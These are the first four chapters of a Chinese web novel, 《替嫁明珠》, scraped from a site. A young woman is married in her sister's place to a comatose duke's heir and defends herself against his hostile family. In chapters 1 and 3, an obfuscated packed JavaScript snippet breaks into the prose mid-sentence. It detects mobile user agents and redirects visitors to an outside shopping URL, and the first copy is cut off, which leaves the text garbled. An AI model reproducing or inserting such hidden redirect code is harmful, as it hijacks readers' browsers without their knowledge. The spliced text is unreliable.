《替嫁明珠》 1. 第1章 新房里,雕着龙凤的花烛燃了一半,烛芯偶尔发出“哔剥”一声响。 穿着嫁衣的新娘子陈灵珠坐在床边的一张绣墩子上,凝眉定定望着床上的新郎。 昏迷不醒、奄奄一息的新郎。 她的两个丫鬟站在她的身后,齐齐幽幽叹气。 陈灵珠知道她们的意思,大概没见到李济之前,心里多少还存了些侥幸,以为情形未必有那么坏,现下见了躺在床上一动不动的人,才知道她们还是太乐观了。 其实她又何尝不是。 只是事已至此,多想无益,垂头丧气也不能让她们的处境变得更好,她宽慰两个丫鬟道:“若不是眼下这个状况,李世子也轮不到我来嫁。” 她自嘲地笑了笑:“我还是捡了漏呢。” 她说这话,是因为李济是本朝最煊赫的镇国公府的世子,又早早凭军功成为辅国大将军,一向是京城贵女争相抢夺的成龙快婿,而她是陈府不起眼的女儿,若非李济命悬一线,今日在新房的绝不可能是她。 两个丫鬟听了这话,更觉难过,圆脸的那个道:“姑娘,不是说李世子克妻吗,怎么这回……” 怎么这回反而是他受了重伤呢?命硬的人克的是别人而不是自己罢? 李济克妻的传言来自于他一波三折的亲事。 据说,李济最初与尚书左仆射的嫡长孙女定了亲。 但在临近成亲时,尚书左仆射家的姑娘一病不起,没多久就香消玉殒。 镇国公府无奈,只好另寻佳妇,这次给李济定了武将孙鼎的掌上明珠。 孙将军是一员猛将,声名鹊起,很受先帝赏识。 孙姑娘仙姿玉貌,性子又好,奈何天妒红颜,她去相国寺上个香,居然掉下了悬崖。 镇国公夫人欲哭无泪,又看上了京城第一美人王柔,她是御史中丞王定之女,温柔贤淑,美名远扬。 但镇国公府还没来得及请媒人上门,王大人便因言获罪,王家被抄,女眷被充入教坊司。 因为这几件事,渐渐有传言流出,说李济克妻,市井中有些刻薄的人,称他为“望门鳏”。 不知是流言的影响,还是镇国公府眼光太高,总之李济这样一个不少人盯着的香饽饽,竟蹉跎至今。 直到去年,陛下为他和陈家大姑娘陈灵瑛赐了婚。 两人一个是辅国大将军、镇国公府世子,一个是承恩侯、吏部尚书之女,一个是青年才俊,一个是有名才女,论起来也是门当户对,才貌相当,堪称天作之合。 皇帝开了金口,李、陈两家便将婚事筹备起来,结果几天前,李济从边关赶回京城完婚,路上竟然遇刺,自此昏迷不醒。 陈灵珠的父亲见此情形便当机立断,让她这个陈府的二姑娘,在李府迎亲之时代替她的姐姐陈灵瑛上了花轿,嫁入了镇国公府。 此举虽有不妥之处,但她的父亲仗着自己是皇帝的亲舅父,胆子便大了些,何况陈灵珠也是嫡女,只要陛下不细究,论起来也不算抗旨。 至于镇国公府,李济都要死了,给他们一个嫡女,他们还有什么不满足?至于是长是幼,是智是愚,对他们来说又有何不同? 就算镇国公府细究,她的父亲也已经想好了脱罪之法。 陈灵珠道:“这种无稽之谈如何能信?何况传言若信得过,我又有什么好名声?” 圆脸丫鬟哑然,陈灵珠的名声确实算不上好,外面传言说她德言容功,没一样拿得出手,琴棋书画样样不精,镇日只知道在她的院子里,鼓捣些吃的喝的,或者玩些假装大夫给下人看病的过家家游戏,是个实打实的草包。 说到这个圆脸丫鬟就不满,嘟囔道:“老爷和夫人也太偏心了,若不是他们纵着大姑娘和杨姑娘,姑娘你何至于会有这样的名声?” 陈灵珠笑了笑,语气里颇有些满不在乎:“他们偏心又不是一次两次,你还没习惯哪。” 反正她自己是早已看透了。 不然,也不会让她过来填了这个坑。 李济遇刺昏迷不醒,但他本就是为了成婚才回的京城,镇国公府便继续操办婚事,一来这是本就定好的事情,二来,也是为了给李济冲喜。 但原本的新娘陈大姑娘不肯嫁了,她不想嫁进镇国公府,以后对着一个牌位过日子。她的父亲本来也不愿陈灵瑛嫁,见此情形,略略一想,就将新娘换成了她。 圆脸丫鬟愤愤不平,嘟囔道:“再偏心,也不能把我们姑娘推入火坑啊。” 之所以说这桩婚事是火坑,除了新郎官李济很可能命不久矣之外,还因为陈府与李府向来不和。 准确地说,是陈灵珠的父亲多次弹劾镇国公父子,说他们父子拥兵自重,图谋不轨。如此情形之下,陈灵珠嫁来镇国公府,日子自然不可能好过。 另一个长脸丫鬟示意她小声:“外头有人呢,少说两句罢,别惹出事来。” 圆脸丫鬟赌气道:“听到才好呢,把姑娘送回去好了。” 长脸丫鬟轻拍她道:“胡说什么呢!你以为姑娘还能回去?” 圆脸丫鬟反驳道:“谁说不能,表少爷还等着姑娘呢。” 她口中的表少爷是陈灵珠二姑母之子,与陈灵珠青梅竹马,还差点与陈灵珠定了亲。 长脸丫鬟这次真的急了,低声叱道:“你疯了!这也是你能胡说八道的?” 圆脸丫鬟自知失言,四处张望了一下,才悻悻地闭了嘴。 此处是镇国公府,她们初来乍到,陈灵珠也担心丫鬟口没遮拦惹出什么闲话来,便正色道:“从前的事莫再提了,小心祸从口出。” 她平日跟两个丫鬟嘻嘻哈哈,但该认真的时候绝不含糊,两个丫鬟连忙道:“是,婢子知道了。” 陈灵珠并不想对两个丫鬟太疾言厉色,说到底,她们也是为了她。 点到为止,她缓了神色道:“别说那些了,我帮李世子探探脉罢。” 她也算略通岐黄之术,有机会也帮人看病。 她小的时候,陈府来了一个远房亲戚,亲戚颇通医理,且擅易容等奇门异术,她喜欢找亲戚玩,亲戚也很喜欢她这个机灵的小姑娘,便把他会的医术、易容术等倾囊相授。亲戚走后,她继续习学,这几年医书也看了不少,但毕竟是闺阁小姐,除了陈府的丫鬟婆子,她给其他人看病的机会少之又少,更不用说处理这样严重的伤势。 不过,把把脉却是无妨。 她把手指放在李济的手腕上,按了好一会,轻轻蹙起眉头。 李济受伤过重,失血过多,脉形浮大而中空,重按无力。这个情形,能否醒过来,已非人力所能为。 她叹了口气,刚准备跟两个丫鬟说一说李济情况,忽然见屏风后转进一个人,将主仆三人齐齐吓了一跳。 见有人来了,陈灵珠不动声色地将手收回,端正坐好。 进来的是镇国公府的丫鬟,她微垂着头,在屏风旁站定,禀道:“少夫人,楚大夫来了。” 李济伤势太重,连宫中的御医也束手无策,镇国公府便请了京城颇负盛名的楚大夫来医治李济。 陈灵珠点头,让请楚大夫进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她换了身家常衣裳,净了手,走到铺了绛色桌布的六方桌前,看了看上面的几样食物。 成婚礼仪繁琐,虽然两府因为李济昏迷已经尽量精简,但她还是累了一日,也饿了一日。 她坐下来,将那看起来能入口的试了试。 见两个丫鬟愣愣地望着她,她笑着催促道:“看着我干什么,快过来吃呀,天塌下来也要先吃饱再说。” 反正在她这里,天大地大,都没有用饭事大。 两个丫鬟回过神,走过去,一人拿了块糕点吃了起来。 长脸丫鬟问:“姑娘,明天的敬茶,针线怎么办?” 时下的风俗,新进门的媳妇在成婚次日会给长辈敬茶,敬茶时会奉上自己做的针线,一般是抹额、鞋袜之类,让长辈们看一看新媳妇的女红如何。陈灵珠的女红勉强也算能入眼,但她根本来不及准备这些,她母亲显然也没想到这一点,所以她们手上,适合送给长辈的针线一样也没有。 不过,昨晚陈灵珠答应嫁入镇国公府后,主仆几个匆忙收拾东西,两个丫鬟将陈灵珠平日里闲着时做的一条帕子,两个荷包也拿了过来,只是那上面绣的是三只憨态可掬的豚——这是陈灵珠的属相。 一看就不是给长辈准备的,有点拿不出手。 但也没有办法了,陈灵珠道:“就这些罢,这个时候,想来也不会在意这些。” 何况这茶敬不敬还两说,李济这个模样,也不知能撑多久,镇国公府的长辈这个时候未必有喝媳妇茶的心情。 2. 第2章 填饱了肚子,陈灵珠走到床前坐下,准备给李济按捏手指。 她拉过李济的手。 大概是身材高大的缘故,他的手比常人要大许多,不过甚是好看,手指修长,手背皮肤柔腻,只是翻过来,手心却有一层粗粝的老茧。 在战场上,没有敌人会因为李济的爹是本朝镇国公就对他另眼相看,他的军.功,都是自己真.刀.真.枪拼出来的,从他的手就可见一斑。 她轻轻地给他按指尖,一个指头一个指头地反复揉捏。 “李世子,”她对着李济道:“要醒过来呀,不要被坏人得逞。” 圆脸丫鬟道:“胡人也太不要脸了,打不过世子就暗算他,有本事战场上打呀,捅冷刀子算什么。” 圆脸丫鬟会说出这句话,是因为传言说,李济差点被一刀毙命是胡人所为。 此事虽未有定论,却也不是毫无根据,因为那刺客刺杀李济所用的刀,便是胡人惯用的制式。 据说,胡人在战场上被镇国公父子打得落花流水,恨不过,打听得李济要回京完婚,便等在他回京的路上,指望将他杀死,让圣朝痛失良将。 因为此事,朝堂上争得厉害,有朝臣主张立刻出兵,狠狠地教训胡人,用事实让他们知道刺杀我朝将军是个什么下场。 又有朝臣认为,贸然出兵正中胡人下怀,胡人故意刺杀李济,目的便是要激怒我朝,好落入他们的圈套。 还有朝臣认为,此事是第三国所为,目的便是挑起胡人与我朝两国的争端,一旦双方交战,第三国便趁虚而入。 群臣吵吵嚷嚷,民间的传言却出现了多个版本。 有自称知内情的人说,李济其实是被与镇国公府不和的武安侯等人设了埋伏; 又有知道秘辛的人说,起因是家族内部斗争,暗杀李济的人是内鬼; 还有些牵强附会、怪力乱神的说法: 有人说,是李济其中一个前未婚妻放他不下,要与他做一对鬼鸳鸯; 又有人说,近日天象有异,武曲星有难,所以李济才会被暗杀; 更有人说,李济此前克妻,是因为他的命比他的前未婚妻们的命硬,如今陈大姑娘的命比他的硬,他受不住,所以才会遭此一劫。 后来其他传言渐渐消了下去,陈大姑娘克夫的传言却甚嚣尘上。 想到这个,陈灵珠有些头痛,现下她便是“陈大姑娘”。 她自然不信“命硬”、“克夫”等说法,但架不住有人信,以镇国公府迎娶她入府冲喜的做法来看,也未必全然不信。 若是镇国公府相信这个,李济又伤重不治,再结合她是陈进的女儿这个身份,她以后的日子可想而知。 不过,跟镇国公府坦白她并非陈大姑娘,眼下这种情况,似乎不是时候。 何况就算坦白,恐怕也无济于事。 她闭了闭眼,这些事还得从长计议,容她再想想。 长脸丫鬟见她闭眼,问她:“姑娘可是累了,不如先歇息罢。” 说完这句话,她四处望了望,犹豫着将陈灵珠安置在何处。 李济重伤,与李济同睡一床有些不方便,但其他地方…… 陈灵珠也四处看了看,道:“就在美人榻上将就罢。” 她一向主张在可能的情况下让自己过得最舒适,但今夜,美人榻便是她最好的安排。 长脸丫鬟依言,将美人榻铺好。 陈灵珠去盥室洗了洗,躺下,伸了伸筋骨。 洞房花烛夜,灯自然是不灭的,更何况李济这个情形。 她素来睡眠极好,并无择席之烦恼,但今夜,或许是灯太亮了,或许是美人榻不够舒适,又或许是因为挂念她的奶娘,她翻来覆去地不能入睡。 睡不着,便免不了想得多些。 她的父亲说,让她嫁,不是抗旨,而是遵旨。 为了让她点头,他还扣下了与她情同母女的奶娘,说若她不肯,她的奶娘将性命不保。 她的父亲是陛下的亲舅父,肱骨大臣,就算抗旨,自有其脱罪之法,可她的奶娘,生死全在她的一念之间。 她只能点了头。 眼下也不知奶娘如何了,知她上了花轿,只怕眼泪都要哭干了罢。 她迷迷糊糊地想着,终于抵不住席卷而来的睡意,进入了睡梦之中。 只是这一夜噩梦不断,她梦到李济躺在棺材之中,脸上呈现可怕的白,嘴唇黑紫,她跪在棺材之前,一个面孔模糊的妇人指着她骂,说她害死了李济,随后许多人上前,将她又拉又扯地往棺材里推,要她给李济陪葬…… 她从梦中吓醒,一时分不清此地何地,今夕何夕。 怔忡了一会儿,她急忙坐起,扭头望向旁边床榻上的李济。 他一动不动,脸色苍白,嘴唇黑紫,似已没了人气。 与梦中死去的他一模一样。 她心跳如擂鼓,忙从美人榻上跳下来,赤着脚快步走到李济面前,伸出手,探了探他的鼻息,又捏住他脉搏,按了按。 虽然微弱,但都还有。 还好,他还活着。 陈灵珠大大松了口气,这时才惊觉自己一头的冷汗。 长脸丫鬟茯苓从屏风后转进来,低声对她说:“镇国公夫人让人来传话,说太夫人和她一会儿会去正堂,请姑娘准备准备便过去。” 那就是说,今日是要敬茶的了。 陈灵珠点点头,穿回鞋子,让茯苓帮她梳洗打扮,到次间用了一点粥和点心垫了垫肚子。 期间,御医、楚大夫、丫鬟等人过来给李济把脉、针灸、换药、喂药等,只是众人忙忙碌碌,李济却无知无觉。 陈灵珠暗暗叹了口气,看来李济是很难醒过来了。 不知镇国公府会如何对待她这个冲喜失败的新媳妇。 多想无益,她让两个丫鬟带上了仅有的三件针线活,又从嫁妆里挑了一些礼物,带着她们往中堂而去。 迎着或友善、或不满、或看好戏的目光,陈灵珠踏入了中堂。 与她以为的冷清不同,中堂里此刻热闹得很。 她不免有些惊讶,本以为李济如今这个状况,今日大不了是太夫人、镇国公夫人和李济的几个弟妹在,没想到除了外任的镇国公、二老爷,中堂里乌泱泱的一屋子人。 堂中最年长、地位最尊的自然是镇国公府太夫人,陈灵珠先按着丫鬟的指引到了太夫人面前。 太夫人慈眉善目,态度甚和蔼,还道:“好孩子,难为你了。” 太夫人的态度虽然不等于所有人的态度,也不等于太夫人完全接纳了她,但太夫人作为府里的老祖宗,能待她和颜悦色,对她的处境或许大有裨益。 她在丫鬟放到太夫人面前的垫子上跪下,把其中一个荷包放于托盘之上,然后端起茶盏,恭敬道:“祖母请喝茶。”< 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气氛一时有些尴尬,太夫人适时地咳了一声,镇国公夫人这才“嗯”了一声,接过茶盏,略略沾了沾唇,然后让身旁的丫鬟给了陈灵珠一对金镯子。 这金镯子样式普通,以镇国公夫人的地位和身份,实在算不得贵重。 这个婆母显然是不喜欢她的了,但陈灵珠也没法说什么,谢过镇国公夫人之后起了身,然后一一见过堂中其他的长辈。 这其中,李济的二婶王氏似笑非笑,看看镇国公夫人又看看陈灵珠,幸灾乐祸的样子颇为明显。 见过长辈,便该同辈之间互相见礼,镇国公府中比李济年长的只有二爷和王氏所出的李海,陈灵珠依礼朝李海和他的妻子温氏福了福身,称大哥大嫂,两人都还了礼,唤二弟妹。 该轮到李济的弟弟妹妹和后辈来给陈灵珠见礼了,却见一个十五六岁的姑娘扭过脸,愤愤地说了一声:“扫把星!” 声音之大,堂中诸人应当都听到了。 太夫人皱眉喝道:“芙儿!” 李照芙是李济同母的妹妹,镇国公府嫡出的二小姐,镇国公夫人赵氏亲女。 陈灵珠从前年纪小,后来又跟着父亲陈进外任两三年,回来京城后还没在公开场合露过脸,所以并不认得李照芙。 但虽不认得,李照芙的名号她却是听过的。她知道李照芙在京城的闺阁小姐中很有名,因为她镇国公府嫡女的身份,还因为她刁蛮骄纵的性子。 李照芙嘟囔道:“我又没说错。哥哥打仗都能好好的,怎么偏偏要跟她成亲,就出了事。” 其实李照芙也不是很相信克夫一说,但既然她不喜欢总是弹劾哥哥的人的女儿,自然要捡些由头说事。 陈灵珠环顾四周,堂中众人除了太夫人,其余人虽然神色各异,可都沉默不语。 虽然早知有人说陈大姑娘克夫,也做好或许会有人为难的准备,但李照芙这样咄咄逼人的态度,还是让她有些意外。 知道背后有人议论是一回事,被人当面骂扫把星又是另外一回事。 方才镇国公夫人当众给她下脸子,如今李照芙又来这么一出,她若再忍气吞声,这镇国公府是真的不必待了。 略想了想,她猛地转身,在一屋子人讶异的目光中,走到镇国公夫人面前跪下道:“母亲,儿媳自请下堂!” 3. 第3章 镇国公夫人一愣,随即不悦地皱眉道:“你这是做什么?” 陈灵珠抬起头,目光坚定地看着镇国公夫人:“这是儿媳嫁入镇国公府的第二日,自问并无过错,也从未伤害过世子,更未伤害过其他人,被人当面说是扫把星,儿媳以后如何在镇国公府立足?既然镇国公府容不下儿媳,倒不如早早让儿媳归去。请母亲替世子给儿媳一封放妻书,儿媳这便离开镇国公府!” 说归去,其实陈家已不是她的归处,离开镇国公府,她只能去她的陪嫁庄子。 但对于她来说,清寒贫苦的日子过得,忍气吞声的日子却过不得。 当然,她清楚地知道,李济和陈灵瑛的婚事是陛下所赐,不是镇国公府想让她下堂就下堂的,她这么说,不过是表明态度,让他们知道,她不是那等逆来顺受的,他们别想把这种莫须有的帽子扣到她的头上,也别想借她克夫的名头来发泄对她是陈进的女儿这个身份的不满。 果然,她这么说完后,镇国公夫人勉强挤出一个笑容道:“芙儿年纪还小,不懂事,你做嫂子的,不要与她计较才是。” 陈灵珠与李照芙同样都是十五岁,就算是陈灵瑛,也不过比李照芙大个两三岁,远远未达到可以将李照芙当小孩子的地步。她侧头看了看总有十五六岁的李照芙,没说话,但意思显而易见。 大概自己也觉得这话很说不过去,国公夫人描补道:“芙儿小孩儿心性,说话都是有口无心。这样罢,我让她跟你道歉。” 说着便叫李照芙过来,又叫丫鬟道:“扶少夫人起来罢。” 陈灵珠这才站起身,看向李照芙,等着她来道歉。 李照芙不情不愿地站在赵氏身边,瞪着陈灵珠,死活不愿意开口。 镇国公夫人见女儿不愿意,叹道:“济儿未醒,府里如今正是要清净的时候,你们就别闹了罢。” 镇国公府的当家夫人四两拨千斤,两句话就变成了“你们别闹”,将部分错处归到陈灵珠头上,隐隐有责备她得理不饶人,妨碍李济养伤的意思。 陈灵珠道:“阿芙妹妹不懂事,儿媳也不怪她,但‘扫把星’、“克夫”这样的名号儿媳万万担当不起。世子受伤昏迷不醒,是歹人所为,非儿媳之过。何况世子现下虽然昏迷,但不是没有希望醒过来,若现在便用‘克夫’这样的字眼,儿媳以为,有诅咒世子之嫌。所以就算母亲怪儿媳不够大度、扰了世子清净,儿媳也要辩上一辩。” 李照芙听了这话,脸色青一阵白一阵,国公夫人脸色也不算好看。 这时,太夫人打圆场安抚陈灵珠道:“好孩子,祖母知道你受委屈了,祖母向你保证,以后镇国公府里不会再有人说这种话。你先回去照顾济儿,我们一会儿再去看他。” 她已经表明了自己的态度,太夫人也给了承诺,再纠缠下去已无必要,何况太夫人目前为止对她的态度还不错,她愿意给太夫人面子,便应是,带着两个丫鬟退了出来。 出了中堂,主仆三人走了一段路,圆脸的紫苏看左右无人便道:“姑娘今日好厉害!好像……好像小的时候。” 小时候因为父母偏心,她常常激烈对抗,但近几年,她鲜少与人如此针锋相对了,只是人的性子似乎小时候就定型了,其后的所有都不过是伪装,一到关键时刻便“原形毕露”。 若是被她爹娘知道,又该说她倔强难制、毫无长进了。 但今日这个情况,似乎由不得她忍气吞声。 茯苓担心陈灵珠会因此被镇国公府众人所不喜,尤其是镇国公夫人,刚才脸色难看得很。婆母不喜欢她,以后的日子只会更难过。 陈灵珠叹道:“我就是认了‘扫把星‘这个名号,他们该不喜欢我,还是不会喜欢我的。既然结果都一样,与其受尽委屈,倒不如让自己心里舒服一些。” 茯苓想想也是,但再往深里一想,却又更难过了。 境况比她们预想的还要艰难,主仆三人一时无话,沉默着往他们住的院子梅林上筑而去,一路上,镇国公府的丫鬟小厮见了她们主仆,仿佛她们身带时疫似的避之不及,把紫苏气得忍不住又嘀嘀咕咕。 怕陈灵珠听了心里更难过,茯苓制止她道:“好了,别抱怨了,别让姑娘心里不痛快。” 紫苏后知后觉地反应过来,连忙住了口。 陈灵珠走后,正堂陷入了短暂的沉默,俄而,二夫人王氏看着镇国公夫人笑道:“嫂嫂,济儿媳妇这性子,怕是有些烈呢。” 王氏有些幸灾乐祸,李济一向出类拔萃,把她的儿子李海衬得像个扶不起的阿斗,所以赵氏一向以擅教养自居,好像就她会养孩子似的。 如今人中龙凤的儿子怕是保不住了,没想到娶的儿媳妇也不是省油的灯。 以后婆媳相争,有她这个大嫂受的。 她以前就跟赵氏说过,儿媳妇差不多就得了,别挑三拣四,吹毛求疵的,偏偏赵氏不听她的,说什么舍不得委屈了儿子。 言下之意,便是她的儿子太出色了,等闲的女子配不上他。 今日一看,赵氏这儿媳容貌倒是挑不出毛病,可她一来是陈进的女儿,二来这性子…… 她都有些同情赵氏了。挑挑拣拣这么久,这个不合意,那个不够好,最后落了这么个儿媳妇。更无可奈何的是,这婚是御赐的,退都退不掉。 镇国公夫人没有说话,只是面色不虞地看一眼王氏,又将眼光从在场诸人的面上一一扫过。 李济遇刺,外面有传言说是内鬼,她虽然不认为二房和三房有这个能力和谋算,但也不能不多想。 万一哪个鬼迷心窍的和外人勾结呢。 太夫人道:“好了,人家小姑娘也怪可怜的。你们年纪不小了,也算见过些世面,你们问问自己,若你们遇到同样的情况,会怎么做?” 二夫人见婆母开口,忙识时务地起身道:“母亲说的是,儿媳失言了。” 太夫人转向李照芙道:“芙儿,祖母知道你关心你二哥,只是你也不可胡说,知道吗?” 李照芙嘟着嘴,镇国公夫人拉了拉她的手,示意她别惹祖母生气。 太夫人平日里对孙辈很是和蔼,也不怎么过问府中事务,但不代表她可以容忍别人对她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751490|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敬。李照芙这个态度,太夫人恼起来,说不定就要罚她。 被母亲提醒,李照芙这才不情愿地低下头道:“是,孙女知道了。” 太夫人看了她一眼,再对众人道:“以后谁都不许说这种话,被我知道了,定不轻饶!” 众人齐齐应是。 太夫人道:“好了,该干什么干什么去罢。” 得了这句话,别人犹可,唯独二房的李海如蒙大赦,一溜烟跑了。他早就待不住了,也就是太夫人在场,他才勉强忍耐。 二夫人急急地追了上去,却哪里还能见到儿子的人影儿? 镇国公夫人起身准备回正院,太夫人道:“老大媳妇,你送我回去罢。” 镇国公夫人便知道,太夫人这是有话要跟她说了。 搀着太夫人回到她的院子松鹤院,镇国公夫人要站着服侍太夫人用膳,太夫人道:“你也一起坐下用些罢,这些日子,你也够累的了。” 儿子昏迷不醒,没有人比身为人母的镇国公夫人更心力交瘁,看她苍白得如纸一般的脸色和红肿虚浮的双眼便可知晓。 儿媳妇虽不是女儿,但她们做了二十几年的婆媳,论起来儿媳陪伴她的时间,比儿子和女儿还要长。 太夫人知道这个儿媳妇一向好强,不愿让人看到她的软弱,可是她是不是在强撑,太夫人这个婆母又怎么会不知道呢。见她如此憔悴,太夫人心中也觉不忍。 听到太夫人出言安慰,镇国公夫人眼睛酸涩,差点垂下泪来。忍了忍将眼泪憋了回去,轻声答应了一声,坐在太夫人的左侧。 太夫人院子的丫鬟早把碗筷摆到镇国公夫人面前,镇国公夫人拿起筷子,食不知味地塞了两口。 眼下吃龙肝凤髓也没胃口,太夫人勉强吃了半个包子便放下了筷子。镇国公夫人见太夫人不吃了,更吃不下,便也停了筷。 其实以她们对彼此的了解,即使不说话,也能知道对方的意思。 默默地坐了一会儿,太夫人道:“你也觉得济儿是叫那姑娘克的?” 镇国公夫人垂下眼,摇了摇头。 她不是无知的市井妇人,如何会相信那样的无稽之谈。 太夫人叹道:“虽说子承父债,但既然进了门,她就是咱们镇国公府的人了。一个十几岁的小姑娘,她也不容易。将对她父亲的气撒到这么一个无辜的小姑娘身上,有失咱们镇国公府的体面。” 说到十几岁的小姑娘,国公夫人心中闪过一丝疑虑。 似乎哪里不对。那姑娘看起来不像十八岁。 但两府女眷素日没来往,陈进又出京外任了两年,不久前才回到京城,他的女儿,国公夫人着实没怎么见过。 何况有人长得显小些也是正常。 镇国公夫人没再往深里想,只道:“媳妇知道母亲的意思了。” 太夫人点到即止,拍拍镇国公夫人的手,“我知道你有分寸。” 陈灵珠主仆三人回到梅林上筑,李济床前早又围满了大夫等人,她正待也过去看一看,忽然一人惊喜道:“你们快看,世子动了!” 4. 第4章 说世子动了的人是楚大夫的徒弟青儿。 众人听了这话,都惊喜万分,齐刷刷地看向李济。 李济纹丝未动。 众人又齐刷刷地转向青儿。 见众人都看着他,半是疑惑半是怀疑,青儿脸涨得通红,坚持道:“我真的看到世子的手指动了一下。” 楚大夫问徒儿:“怎么动的?” 青儿道:“就……就这样动了一下。” 他微微地曲了一下食指,意思李济就是这样动的。 众人于是将眼睛粘在李济的手指上,眼睛都不敢眨地盯了一炷香。 李济一动不动。 众人不由失望,都疑心是青儿看错了,连青儿自己也开始怀疑自己眼花。 楚大夫也不知是安慰别人,还是安慰自己道:“这是个好的兆头,世子既动了手指,醒来的可能便大大增加。” 楚大夫和徒弟青儿离去后不久,御医来了。 御医诚惶诚恐,然而陈灵珠看他开的方子,中规中矩,分明是最后略尽人事,不由一阵失望和憋闷,便出了门,到庭院透透气。 正坐在秋千上有一下没一下地荡,忽然耳边一道稚嫩的声音响起:“你是因为刚才吵了架,心情不好吗?” 陈灵珠转过头去,只见一个五六岁、长得眉清目秀的男童站在她身边,手里拿着一把木剑,一本正经地问她。 陈灵珠摇了摇头。 男童又道:“你不问我是谁吗?” 陈灵珠笑了,问他:“你是谁?” 刚才在中堂因为李照芙说她是扫把星,所以好些年纪和辈分比她小的,她还没来得及见。不知为何,这个小童她分明是第一次见,却像在哪里见过似的,有些眼熟。 “我是我爹的儿子,二哥的弟弟,我叫庸儿!”男童骄傲道。 “庸儿。”陈灵珠点头,“原来世子还有这么小的弟弟。” 李庸蹙了蹙眉:“我不小了,我都五岁了,还不是大人吗?” 陈灵珠本来满心郁闷,但李庸的童言童语将她逗乐了:“是,庸儿是大人了。” 李庸满意地露出一丝微笑。 “他们为什么说是你害了二哥?扫把星是害了二哥的意思吗?”他又问。 陈灵珠没有问他们是谁,只问他:“庸儿觉得是我害的吗?” 李庸认真地想了想,摇头,“我觉得不是。” 陈灵珠笑道:“庸儿真聪明。” 李庸又问她:“我以后可以过来找你玩吗?” “当然可以。” 他露出笑容:“那就说定了,你可不要反悔。” 说完,他转身跑了,一边跑一边道:“我明天再过来,你要等着我。” 陈灵珠望着他的背影笑了笑,进了屋子。 “世子喜欢吃什么?”她问杏儿。 杏儿不知。她原本是太夫人身边的丫鬟,太夫人见她稳重,做事妥帖,没有那些杂七杂八的心思,李济原本的院子又没有个稳妥的大丫鬟,便把她派了过来。 所以,她对李济的喜好所知不多,见陈灵珠如此发问,一时有些发懵,不过她很快反应过来,说自己也不甚清楚,不过若是陈灵珠觉得有需要,她可以去问一问镇国公夫人。 陈灵珠会问这个,是因为她忽然想起一个法子。 她幼时有一次发烧,烧得人事不醒,怎么叫都没有反应。 后来有小丫鬟在屋外烤红薯,香气被吹进屋里,她就醒了过来,她的奶娘便开玩笑说,是红薯的香气唤醒了她。 这虽是玩笑话,但陈灵珠后来查了些医书典籍,确有这样的先例,气味是可能唤醒一个人的。 李济的情况与她当时虽不同,但试一试没有坏处。何况楚大夫也说,只要不触及伤口,什么方法都可以尝试。 除此之外,她有些饿了。她去敬茶前虽吃了些东西,但中堂那一出,还有方才以为李济醒来的惊喜和失落,已经把她吃下去的东西消耗殆尽。 把李济喜欢的食物都摆上来,她吃的同时李济也可以闻到,一举两得。 但杏儿不知李济的喜好,若是专门去问镇国公夫人,似乎又有些小题大做,毕竟她也不能保证效果。 她想了想道:“那就让厨房随便做几样香味浓郁一点的菜,让他们快着些。” 杏儿领命而去。很快,将几样菜呈了上来。 陈灵珠命将食案放在床头,靠近李济头部的位置。 杏儿虽面露疑惑,但也没说什么,依言将几样菜色一一呈上。 陈灵珠看时,有如红烧圆蹄这样的家常菜,有雁鹅菌这样的山珍,还有东星斑等海鱼。 每一样都做得色香味俱全,看着便让人食指大动、口水直流。 陈灵珠先将每样菜都拿到李济鼻子底下让他闻了闻。 让人失望的是,无论哪一样菜色,都不能让李济有半点反应。 陈灵珠有些失望,但希望本就渺茫,也不能强求。 她坐在食案前,自己细细品尝这些菜色。 “李世子,”她叹道:“就是为了人间美食,你也不要轻易放弃。” 她这是以己度人,她最重口腹之欲,喜欢品尝各类美味,心情愉悦时要吃美味食物犒赏自己,心情不佳时也需要美味食物慰藉自己。 但显然,李济和她不一样,这些香味扑鼻的食物打动不了他。 食案还没撤下去,太夫人、镇国公夫人和李济的几个弟弟妹妹就都过来了。 看着那些食物,镇国公夫人皱了皱眉,面露不悦,但到底没说什么。 太夫人也有些疑惑,问陈灵珠:“这屋里是……” 这里是内室,按说用膳是不该在此处的,陈灵珠知道自己该解释一番,但若说出自己的想法来,只怕他们不信。又想,楚大夫是名医,他的话更有说服力,便道:“禀祖母、母亲,楚大夫说,只要不触及世子伤口,所有方法都可大胆一试,我方才是按楚大夫说的,尝试用香味唤醒世子。” 太夫人听了,颇为孙媳妇的用心高兴,又觉得这方法不错,颔首道:“如此,倒也是个新奇的法子。” 又看向镇国公夫人道:“既大夫都这么说了,那便吩咐厨房多做些济儿爱吃的,他睡了这么久,定然饿了,我们将好吃的放到他面前,说不定真如二孙媳妇说的一样,闻着闻着味儿他就醒过来了。” 镇国公夫人脸色稍霁,点头应是,其他人也面露赞同,唯李照芙低声嘀咕:“狡猾。” 明知道哥哥吃不到,偏还放到他面前,说她是故意气哥哥还差不多。偏这人奸猾,三言两语竟叫她蒙骗了过去。 陈灵珠瞥了李照芙一眼,不理她,又对太夫人和国公夫人道:“楚大夫说,不仅是香味,所有世子平日喜欢的东西,都可拿来一试。” 太夫人想了想道:“如此说来,听到他喜欢的音律也有帮助?” 李济擅音律,闲暇之时喜欢抚琴弄箫。 陈灵珠闻言心中一跳,因为她与李济恰好相反,不擅音律。 从十岁起,她就再也没有碰过琴和其他的乐器了。 这也是陈灵瑛和她的表妹杨绾柔说她是草包的原因之一,毕竟时下贵女懂音律的多。 